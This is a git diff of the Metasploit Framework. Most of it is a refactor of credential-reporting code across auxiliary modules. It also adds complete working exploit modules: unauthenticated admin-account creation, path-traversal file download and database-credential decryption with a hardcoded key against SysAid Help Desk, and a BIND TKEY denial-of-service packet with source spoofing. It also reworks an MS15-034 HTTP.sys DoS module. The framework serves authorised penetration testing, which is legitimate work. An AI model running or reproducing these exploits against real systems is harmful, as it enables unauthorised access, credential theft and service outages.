+ module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + def run vprint_status("#{rhost}:#{rport} - Trying to access the configuration of the device") @@ -72,14 +101,14 @@ class Metasploit3 < Msf::Auxiliary vprint_good("user: #{@user}") vprint_good("pass: #{pass}") - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'http', - :user => @user, - :pass => pass, - :active => true - ) + report_cred( + ip: rhost, + port: rport, + service_name: 'http', + user: @user, + password: pass, + proof: line + ) end end end diff --git a/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb b/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb index dad5e64ed6..9ab873d031 100644 --- a/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb +++ b/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb @@ -32,6 +32,33 @@ class Metasploit3 < Msf::Auxiliary ) end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def run vprint_status("#{rhost}:#{rport} - Trying to access the configuration of the device") @@ -69,13 +96,13 @@ class Metasploit3 < Msf::Auxiliary pass = $1 pass = Rex::Text.decode_base64(pass) print_good("#{rhost}:#{rport} - Credentials found: #{user} / #{pass}") - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'http', - :user => user, - :pass => pass, - :active => true + report_cred( + ip: rhost, + port: rport, + sname: 'http', + user: user, + password: pass, + proof: line ) end end diff --git a/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb b/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb index 445457777a..9158af9b7e 100644 --- a/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb +++ b/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Auxiliary 'Description' => %q{ This module exploits an authentication bypass vulnerability in different Netgear devices. It allows to extract the password for the remote management interface. This module has been - tested on a Netgear WNDR3700v4 - V1.0.1.42, but others devices are reported as vulnerable: + tested on a Netgear WNDR3700v4 - V1.0.1.42, but other devices are reported as vulnerable: NetGear WNDR3700v4 - V1.0.0.4SH, NetGear WNDR3700v4 - V1.0.1.52, NetGear WNR2200 - V1.0.1.88, NetGear WNR2500 - V1.0.0.24, NetGear WNDR3700v2 - V1.0.1.14 (Tested by Paula Thomas), NetGear WNDR3700v1 - V1.0.16.98 (Tested by Michal Bartoszkiewicz), @@ -31,6 +31,7 @@ class Metasploit3 < Msf::Auxiliary 'References' => [ [ 'BID', '72640' ], + [ 'OSVDB', '118316' ], [ 'URL', 'https://github.com/darkarnium/secpub/tree/master/NetGear/SOAPWNDR' ] ], 'Author' => diff --git a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb index c55a974bc0..5087e8bcb4 100644 --- a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb +++ b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb @@ -47,6 +47,32 @@ class Metasploit4 < Msf::Auxiliary ], self.class) end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_data) + + create_credential_login(login_data) + end + def run user = datastore['USERNAME'] pass = datastore['PASSWORD'] @@ -57,14 +83,13 @@ class Metasploit4 < Msf::Auxiliary print_status("Authenticating as: " << user) begin nsc.login - report_auth_info( - :host => rhost, - :port => rport, - :sname => prot, - :user => user, - :pass => pass, - :proof => '', - :active => true + + report_cred( + ip: rhost, + port: rport, + service_name: prot, + user: user, + password: pass ) rescue diff --git a/modules/auxiliary/admin/http/sysaid_admin_acct.rb b/modules/auxiliary/admin/http/sysaid_admin_acct.rb new file mode 100644 index 0000000000..7b753f52b9 --- /dev/null +++ b/modules/auxiliary/admin/http/sysaid_admin_acct.rb @@ -0,0 +1,88 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'SysAid Help Desk Administrator Account Creation', + 'Description' => %q{ + This module exploits a vulnerability in SysAid Help Desk that allows an unauthenticated + user to create an administrator account. Note that this exploit will only work once. Any + subsequent attempts will fail. On the other hand, the credentials must be verified + manually. This module has been tested on SysAid 14.4 in Windows and Linux. + }, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and MSF module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2015-2993' ], + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ], + [ 'URL', 'http://seclists.org/fulldisclosure/2015/Jun/8' ] + ], + 'DisclosureDate' => 'Jun 3 2015')) + + register_options( + [ + OptPort.new('RPORT', [true, 'The target port', 8080]), + OptString.new('TARGETURI', [ true, "SysAid path", '/sysaid']), + OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']), + OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']) + ], self.class) + end + + + def run + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'createnewaccount'), + 'method' =>'GET', + 'vars_get' => { + 'accountID' => Rex::Text.rand_text_numeric(4), + 'organizationName' => Rex::Text.rand_text_alpha(rand(4) + rand(8)), + 'userName' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'], + 'masterPassword' => 'master123' + } + }) + if res && res.code == 200 && res.body.to_s =~ /Error while creating account/ + # No way to know whether this worked or not, it always says error + print_status("#{peer} - The new administrator #{datastore['USERNAME']}:#{datastore['PASSWORD']} should be checked manually") + service_data = { + address: rhost, + port: rport, + service_name: (ssl ? 'https' : 'http'), + protocol: 'tcp', + workspace_id: myworkspace_id + } + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_type: :password, + private_data: datastore['PASSWORD'], + username: datastore['USERNAME'] + } + + credential_data.merge!(service_data) + credential_core = create_credential(credential_data) + login_data = { + core: credential_core, + access_level: 'Administrator', + status: Metasploit::Model::Login::Status::UNTRIED + } + login_data.merge!(service_data) + create_credential_login(login_data) + else + print_error("#{peer} - Administrator account creation failed") + end + end +end diff --git a/modules/auxiliary/admin/http/sysaid_file_download.rb b/modules/auxiliary/admin/http/sysaid_file_download.rb new file mode 100644 index 0000000000..1add8ee9b2 --- /dev/null +++ b/modules/auxiliary/admin/http/sysaid_file_download.rb @@ -0,0 +1,142 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'SysAid Help Desk Arbitrary File Download', + 'Description' => %q{ + This module exploits two vulnerabilities in SysAid Help Desk that allows + an unauthenticated user to download arbitrary files from the system. First, an + information disclosure vulnerability (CVE-2015-2997) is used to obtain the file + system path, and then we abuse a directory traversal (CVE-2015-2996) to download + the file. Note that there are some limitations on Windows, in that the information + disclosure vulnerability doesn't work on a Windows platform, and we can only + traverse the current drive (if you enter C:\afile.txt and the server is running + on D:\ the file will not be downloaded). + + This module has been tested with SysAid 14.4 on Windows and Linux. + }, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and MSF module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2015-2996'], + ['CVE', '2015-2997'], + ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt'], + ['URL', 'http://seclists.org/fulldisclosure/2015/Jun/8'] + ], + 'DisclosureDate' => 'Jun 3 2015')) + + register_options( + [ + OptPort.new('RPORT', [true, 'The target port', 8080]), + OptString.new('TARGETURI', [ true, "SysAid path", '/sysaid']), + OptString.new('FILEPATH', [false, 'Path of the file to download (escape Windows paths with a back slash)', '/etc/passwd']), + ], self.class) + end + + def get_traversal_path + print_status("#{peer} - Trying to find out the traversal path...") + large_traversal = '../' * rand(15...30) + servlet_path = 'getAgentLogFile' + + # We abuse getAgentLogFile to obtain the + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], servlet_path), + 'method' => 'POST', + 'data' => Zlib::Deflate.deflate(Rex::Text.rand_text_alphanumeric(rand(100) + rand(300))), + 'ctype' => 'application/octet-stream', + 'vars_get' => { + 'accountId' => large_traversal + Rex::Text.rand_text_alphanumeric(8 + rand(10)), + 'computerId' => Rex::Text.rand_text_alphanumeric(8 + rand(10)) + } + }) + + if res && res.code == 200 && res.body.to_s =~ /\(.*)\<\/H2\>/ + error_path = $1 + # Error_path is something like: + # /var/lib/tomcat7/webapps/sysaid/./WEB-INF/agentLogs/../../../../../../../../../../ajkdnjhdfn/1421678611732.zip + # This calculates how much traversal we need to do to get to the root. + position = error_path.index(large_traversal) + unless position.nil? + return '../' * (error_path[0, position].count('/') - 2) + end + end + end + + def download_file(download_path) + begin + return send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['TARGETURI'], 'getGfiUpgradeFile'), + 'vars_get' => { + 'fileName' => download_path + }, + }) + rescue Rex::ConnectionRefused + print_error("#{peer} - Could not connect.") + return + end + end + + def run + # No point to continue if filepath is not specified + if datastore['FILEPATH'].nil? || datastore['FILEPATH'].empty? + fail_with(Failure::BadConfig, 'Please supply the path of the file you want to download.') + end + + print_status("#{peer} - Downloading file #{datastore['FILEPATH']}") + if datastore['FILEPATH'] =~ /([A-Za-z]{1}):(\\*)(.*)/ + file_path = $3 + else + file_path = datastore['FILEPATH'] + end + + traversal_path = get_traversal_path + if traversal_path.nil? + print_error("#{peer} - Could not get traversal path, using bruteforce to download the file") + count = 1 + while count < 15 + res = download_file(('../' * count) + file_path) + if res && res.code == 200 && res.body.to_s.bytesize != 0 + break + end + count += 1 + end + else + res = download_file(traversal_path[0,traversal_path.length - 1] + file_path) + end + + if res && res.code == 200 + if res.body.to_s.bytesize == 0 + fail_with(Failure::NoAccess, "#{peer} - 0 bytes returned, file does not exist or it is empty.") + else + vprint_line(res.body.to_s) + fname = File.basename(datastore['FILEPATH']) + + path = store_loot( + 'sysaid.http', + 'application/octet-stream', + datastore['RHOST'], + res.body, + fname + ) + print_good("File saved in: #{path}") + end + else + fail_with(Failure::Unknown, "#{peer} - Failed to download file.") + end + end +end diff --git a/modules/auxiliary/admin/http/sysaid_sql_creds.rb b/modules/auxiliary/admin/http/sysaid_sql_creds.rb new file mode 100644 index 0000000000..b2ccb89657 --- /dev/null +++ b/modules/auxiliary/admin/http/sysaid_sql_creds.rb @@ -0,0 +1,151 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'openssl' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'SysAid Help Desk Database Credentials Disclosure', + 'Description' => %q{ + This module exploits a vulnerability in SysAid Help Desk that allows an unauthenticated + user to download arbitrary files from the system. This is used to download the server + configuration file that contains the database username and password, which is encrypted + with a fixed, known key. This module has been tested with SysAid 14.4 on Windows and Linux. + }, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and MSF module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2015-2996'], + ['CVE', '2015-2998'], + ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ], + ['URL', 'http://seclists.org/fulldisclosure/2015/Jun/8'] + ], + 'DisclosureDate' => 'Jun 3 2015')) + + register_options( + [ + OptPort.new('RPORT', [true, 'The target port', 8080]), + OptString.new('TARGETURI', [ true, 'SysAid path', '/sysaid']), + ], self.class) + end + + + def decrypt_password (ciphertext) + salt = [-87, -101, -56, 50, 86, 53, -29, 3].pack('c*') + cipher = OpenSSL::Cipher::Cipher.new("DES") + base_64_code = Rex::Text.decode_base64(ciphertext) + cipher.decrypt + cipher.pkcs5_keyivgen 'inigomontoya', salt, 19 + + plaintext = cipher.update base_64_code + plaintext << cipher.final + plaintext + end + + def run + begin + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['TARGETURI'], 'getGfiUpgradeFile'), + 'vars_get' => { + 'fileName' => '../conf/serverConf.xml' + }, + }) + rescue Rex::ConnectionRefused + fail_with(Failure::Unreachable, "#{peer} - Could not connect.") + end + + if res && res.code == 200 && res.body.to_s.bytesize != 0 + username = /\(.*)\<\/dbUser\>/.match(res.body.to_s) + encrypted_password = /\(.*)\<\/dbPassword\>/.match(res.body.to_s) + database_url = /\(.*)\<\/dbUrl\>/.match(res.body.to_s) + database_type = /\(.*)\<\/dbType\>/.match(res.body.to_s) + + unless username && encrypted_password && database_type && database_url + fail_with(Failure::Unknown, "#{peer} - Failed to obtain database credentials.") + end + + username = username.captures[0] + encrypted_password = encrypted_password.captures[0] + database_url = database_url.captures[0] + database_type = database_type.captures[0] + password = decrypt_password(encrypted_password[6..encrypted_password.length]) + credential_core = report_credential_core({ + password: password, + username: username + }) + + matches = /(\w*):(\w*):\/\/(.*)\/(\w*)/.match(database_url) + if matches + begin + if database_url['localhost'] == 'localhost' + db_address = matches.captures[2] + db_port = db_address[(db_address.index(':') + 1)..(db_address.length - 1)].to_i + db_address = rhost + else + db_address = matches.captures[2] + if db_address.index(':') + db_address = db_address[0, db_address.index(':')] + db_port = db_address[db_address.index(':')..(db_address.length - 1)].to_i + else + db_port = 0 + end + db_address = Rex::Socket.getaddress(db_address, true) + end + database_login_data = { + address: db_address, + service_name: database_type, + protocol: 'tcp', + port: db_port, + workspace_id: myworkspace_id, + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + create_credential_login(database_login_data) + # Skip creating the Login, but tell the user about it if we cannot resolve the DB Server Hostname + rescue SocketError + fail_with(Failure::Unknown, 'Could not resolve database server hostname.') + end + + print_status("#{peer} - Stored SQL credentials #{username}:#{password} for #{matches.captures[2]}") + return + end + else + fail_with(Failure::NotVulnerable, "#{peer} - Failed to obtain database credentials, response was: #{res.code}") + end + end + + + def report_credential_core(cred_opts={}) + origin_service_data = { + address: rhost, + port: rport, + service_name: (ssl ? 'https' : 'http'), + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_type: :password, + private_data: cred_opts[:password], + username: cred_opts[:username] + } + + credential_data.merge!(origin_service_data) + create_credential(credential_data) + end +end diff --git a/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb b/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb index 638d429021..b9efc4ae7f 100644 --- a/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb +++ b/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb @@ -49,6 +49,33 @@ class Metasploit3 < Msf::Auxiliary datastore["PASSWORD"] end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + def run if user == pass @@ -84,14 +111,13 @@ class Metasploit3 < Msf::Auxiliary if res and res.code == 200 and res.body =~ /Administrator account created/ print_good("#{peer} - Admin account with credentials #{user}:#{pass} successfully created") - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'http', - :user => user, - :pass => pass, - :active => true, - :proof => res.body + report_cred( + ip: rhost, + port: rport, + service_name: 'http', + user: user, + password: pass, + proof: res.body ) else print_error("#{peer} - Admin account creation failed") diff --git a/modules/auxiliary/admin/http/wp_custom_contact_forms.rb b/modules/auxiliary/admin/http/wp_custom_contact_forms.rb index 75bf278687..774e6f0f3e 100644 --- a/modules/auxiliary/admin/http/wp_custom_contact_forms.rb +++ b/modules/auxiliary/admin/http/wp_custom_contact_forms.rb @@ -62,6 +62,33 @@ class Metasploit3 < Msf::Auxiliary table_prefix end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def run username = Rex::Text.rand_text_alpha(10) password = Rex::Text.rand_text_alpha(20) @@ -98,14 +125,14 @@ class Metasploit3 < Msf::Auxiliary # login successfull if cookie print_status("#{peer} - User #{username} with password #{password} successfully created") - report_auth_info( - sname: 'WordPress', - host: rhost, + report_cred( + ip: rhost, port: rport, user: username, - pass: password, - active: true - ) + password: password, + service_name: 'WordPress', + proof: cookie + ) else print_error("#{peer} - User creation failed") return diff --git a/modules/auxiliary/admin/http/zyxel_admin_password_extractor.rb b/modules/auxiliary/admin/http/zyxel_admin_password_extractor.rb index 44f67456a9..ec3ce10323 100644 --- a/modules/auxiliary/admin/http/zyxel_admin_password_extractor.rb +++ b/modules/auxiliary/admin/http/zyxel_admin_password_extractor.rb @@ -7,8 +7,8 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient def initialize super( @@ -33,6 +33,32 @@ class Metasploit3 < Msf::Auxiliary ) end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def run begin print_status("Trying to get 'admin' user password ...") @@ -62,13 +88,14 @@ class Metasploit3 < Msf::Auxiliary else admin_password = admin_password_matches[1]; print_good("Password for user 'admin' is: #{admin_password}") - report_auth_info( - :host => rhost, - :port => rport, - :sname => "ZyXEL GS1510-16", - :user => 'admin', - :pass => admin_password, - :active => true + + report_cred( + ip: rhost, + port: rport, + service_name: 'ZyXEL GS1510-16', + user: 'admin', + password: admin_password, + proof: res.body ) end rescue ::Rex::ConnectionError diff --git a/modules/auxiliary/admin/misc/sercomm_dump_config.rb b/modules/auxiliary/admin/misc/sercomm_dump_config.rb index 50c7d6d536..84979820e9 100644 --- a/modules/auxiliary/admin/misc/sercomm_dump_config.rb +++ b/modules/auxiliary/admin/misc/sercomm_dump_config.rb @@ -88,6 +88,32 @@ class Metasploit3 < Msf::Auxiliary parse_configuration(config[:data]) end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + private def little_endian? @@ -200,16 +226,14 @@ class Metasploit3 < Msf::Auxiliary @credentials.each do |k,v| next unless v[:user] and v[:password] print_status("#{peer} - #{k}: User: #{v[:user]} Pass: #{v[:password]}") - auth = { - :host => rhost, - :port => rport, - :user => v[:user], - :pass => v[:password], - :type => 'password', - :source_type => "exploit", - :active => true - } - report_auth_info(auth) + report_cred( + ip: rhost, + port: rport, + user: v[:user], + password: v[:password], + service_name: 'sercomm', + proof: v.inspect + ) end end diff --git a/modules/auxiliary/admin/oracle/oracle_login.rb b/modules/auxiliary/admin/oracle/oracle_login.rb index f4a0fbdf1f..e33a0db012 100644 --- a/modules/auxiliary/admin/oracle/oracle_login.rb +++ b/modules/auxiliary/admin/oracle/oracle_login.rb @@ -36,6 +36,32 @@ class Metasploit3 < Msf::Auxiliary end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL + }.merge(service_data) + + create_credential_login(login_data) + end + def run return if not check_dependencies @@ -56,13 +82,12 @@ class Metasploit3 < Msf::Auxiliary break end else - report_auth_info( - :host => "#{datastore['RHOST']}", - :port => "#{datastore['RPORT']}", - :sname => 'oracle', - :user => "#{datastore['SID']}/#{datastore['DBUSER']}", - :pass => "#{datastore['DBPASS']}", - :active => true + report_cred( + ip: datastore['RHOST'], + port: datastore['RPORT'], + service_name: 'oracle', + user: "#{datastore['SID']}/#{datastore['DBUSER']}", + password: datastore['DBPASS'] ) print_status("Found user/pass of: #{datastore['DBUSER']}/#{datastore['DBPASS']} on #{datastore['RHOST']} with sid #{datastore['SID']}") end diff --git a/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb b/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb index f054e8072f..f70d685742 100644 --- a/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb +++ b/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Auxiliary unresponsive. IOS 11.1 -> 12.1 are reportedly vulnerable. This module tested successfully against a Cisco 1600 Router IOS v11.2(18)P. }, - 'Author' => [ 'Patrick Webster ' ], + 'Author' => [ 'patrick' ], 'License' => MSF_LICENSE, 'References' => [ diff --git a/modules/auxiliary/dos/dns/bind_tkey.rb b/modules/auxiliary/dos/dns/bind_tkey.rb new file mode 100644 index 0000000000..98bacb4f81 --- /dev/null +++ b/modules/auxiliary/dos/dns/bind_tkey.rb @@ -0,0 +1,91 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Capture + include Msf::Auxiliary::UDPScanner + include Msf::Auxiliary::Dos + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'BIND TKEY Query Denial of Service', + 'Description' => %q{ + This module sends a malformed TKEY query, which exploits an + error in handling TKEY queries on affected BIND9 'named' DNS servers. + As a result, a vulnerable named server will exit with a REQUIRE + assertion failure. This condition can be exploited in versions of BIND + between BIND 9.1.0 through 9.8.x, 9.9.0 through 9.9.7-P1 and 9.10.0 + through 9.10.2-P2. + }, + 'Author' => [ + 'Jonathan Foote', # Original discoverer + 'throwawayokejxqbbif', # PoC + 'wvu' # Metasploit module + ], + 'References' => [ + ['CVE', '2015-5477'], + ['URL', 'https://www.isc.org/blogs/cve-2015-5477-an-error-in-handling-tkey-queries-can-cause-named-to-exit-with-a-require-assertion-failure/'], + ['URL', 'https://kb.isc.org/article/AA-01272'], + ['URL', 'https://github.com/rapid7/metasploit-framework/issues/5790'] + ], + 'DisclosureDate' => 'Jul 28 2015', + 'License' => MSF_LICENSE, + 'DefaultOptions' => {'ScannerRecvWindow' => 0} + )) + + register_options([ + Opt::RPORT(53), + OptAddress.new('SRC_ADDR', [false, 'Source address to spoof', nil]) + ]) + + deregister_options('PCAPFILE', 'FILTER', 'SNAPLEN', 'TIMEOUT') + end + + def scan_host(ip) + if datastore['SRC_ADDR'] + scanner_spoof_send(payload, ip, rport, datastore['SRC_ADDR']) + else + print_status("Sending packet to #{ip}") + scanner_send(payload, ip, rport) + end + end + + def payload + name = Rex::Text.rand_text_alphanumeric(rand(42) + 1) + txt = Rex::Text.rand_text_alphanumeric(rand(42) + 1) + + name_length = [name.length].pack('C') + txt_length = [txt.length].pack('C') + data_length = [txt.length + 1].pack('n') + ttl = [rand(2 ** 31 - 1) + 1].pack('N') + + query = "\x00\x00" # Transaction ID: 0x0000 + query << "\x00\x00" # Flags: 0x0000 Standard query + query << "\x00\x01" # Questions: 1 + query << "\x00\x00" # Answer RRs: 0 + query << "\x00\x00" # Authority RRs: 0 + query << "\x00\x01" # Additional RRs: 1 + + query << name_length # [Name Length] + query << name # Name + query << "\x00" # [End of name] + query << "\x00\xf9" # Type: TKEY (Transaction Key) (249) + query << "\x00\x01" # Class: IN (0x0001) + + query << name_length # [Name Length] + query << name # Name + query << "\x00" # [End of name] + query << "\x00\x10" # Type: TXT (Text strings) (16) + query << "\x00\x01" # Class: IN (0x0001) + query << ttl # Time to live + query << data_length # Data length + query << txt_length # TXT Length + query << txt # TXT + end + +end diff --git a/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb b/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb index 0eb68da758..b69b8872f1 100644 --- a/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb +++ b/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb @@ -19,10 +19,6 @@ class Metasploit3 < Msf::Auxiliary This module will check if scanned hosts are vulnerable to CVE-2015-1635 (MS15-034), a vulnerability in the HTTP protocol stack (HTTP.sys) that could result in arbitrary code execution. This module will try to cause a denial-of-service. - - Please note that a valid file resource must be supplied for the TARGETURI option. - By default, IIS provides 'welcome.png' and 'iis-85.png' as resources. - Others may also exist, depending on configuration options. }, 'Author' => [ @@ -46,7 +42,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptString.new('TARGETURI', [true, 'A valid file resource', '/welcome.png']) + OptString.new('TARGETURI', [false, 'URI to the site (e.g /site/) or a valid file resource (e.g /welcome.png)', '/']) ], self.class) deregister_options('RHOST') @@ -60,34 +56,38 @@ class Metasploit3 < Msf::Auxiliary if check_host(ip) == Exploit::CheckCode::Vulnerable dos_host(ip) else - print_status("#{ip}:#{rport} - Probably not vulnerable, will not dos it.") + print_status("#{peer} - Probably not vulnerable, will not dos it.") end end + # Needed to allow the vulnerable uri to be shared between the #check and #dos + def target_uri + @target_uri ||= super + end + def get_file_size(ip) @file_size ||= lambda { file_size = -1 uri = normalize_uri(target_uri.path) - res = send_request_raw({'uri'=>uri}) + res = send_request_raw('uri' => uri) unless res - vprint_error("#{ip}:#{rport} - Connection timed out") + vprint_error("#{peer} - Connection timed out") return file_size end if res.code == 404 - vprint_error("#{ip}:#{rport} - You got a 404. URI must be a valid resource.") + vprint_error("#{peer} - You got a 404. URI must be a valid resource.") return file_size end file_size = res.body.length - vprint_status("#{ip}:#{rport} - File length: #{file_size} bytes") + vprint_status("#{peer} - File length: #{file_size} bytes") return file_size }.call end - def dos_host(ip) file_size = get_file_size(ip) lower_range = file_size - 2 @@ -97,39 +97,79 @@ class Metasploit3 < Msf::Auxiliary begin cli = Rex::Proto::Http::Client.new(ip) cli.connect - req = cli.request_raw({ + req = cli.request_raw( 'uri' => uri, 'method' => 'GET', 'headers' => { 'Range' => "bytes=#{lower_range}-#{upper_range}" } - }) + ) cli.send_request(req) rescue ::Errno::EPIPE, ::Timeout::Error # Same exceptions the HttpClient mixin catches end - print_status("#{ip}:#{rport} - DOS request sent") + print_status("#{peer} - DOS request sent") end + def potential_static_files_uris + uri = normalize_uri(target_uri.path) + + return [uri] unless uri[-1, 1] == '/' + + uris = ["#{uri}welcome.png"] + res = send_request_raw('uri' => uri, 'method' => 'GET') + + return uris unless res + + site_uri = URI.parse(full_uri) + page = Nokogiri::HTML(res.body.encode('UTF-8', invalid: :replace, undef: :replace)) + + page.xpath('//link|//script|//style|//img').each do |tag| + %w(href src).each do |attribute| + attr_value = tag[attribute] + + next unless attr_value && !attr_value.empty? + + uri = site_uri.merge(URI.encode(attr_value.strip)) + + next unless uri.host == vhost || uri.host == rhost + + uris << uri.path if uri.path =~ /\.[a-z]{2,}$/i # Only keep path with a file + end + end + + uris.uniq + end def check_host(ip) - return Exploit::CheckCode::Unknown if get_file_size(ip) == -1 + potential_static_files_uris.each do |potential_uri| + uri = normalize_uri(potential_uri) - uri = normalize_uri(target_uri.path) - res = send_request_raw({ - 'uri' => uri, - 'method' => 'GET', - 'headers' => { - 'Range' => "bytes=0-#{upper_range}" - } - }) - if res && res.body.include?('Requested Range Not Satisfiable') - return Exploit::CheckCode::Vulnerable - elsif res && res.body.include?('The request has an invalid header name') - return Exploit::CheckCode::Safe - else - return Exploit::CheckCode::Unknown + res = send_request_raw( + 'uri' => uri, + 'method' => 'GET', + 'headers' => { + 'Range' => "bytes=0-#{upper_range}" + } + ) + + vmessage = "#{peer} - 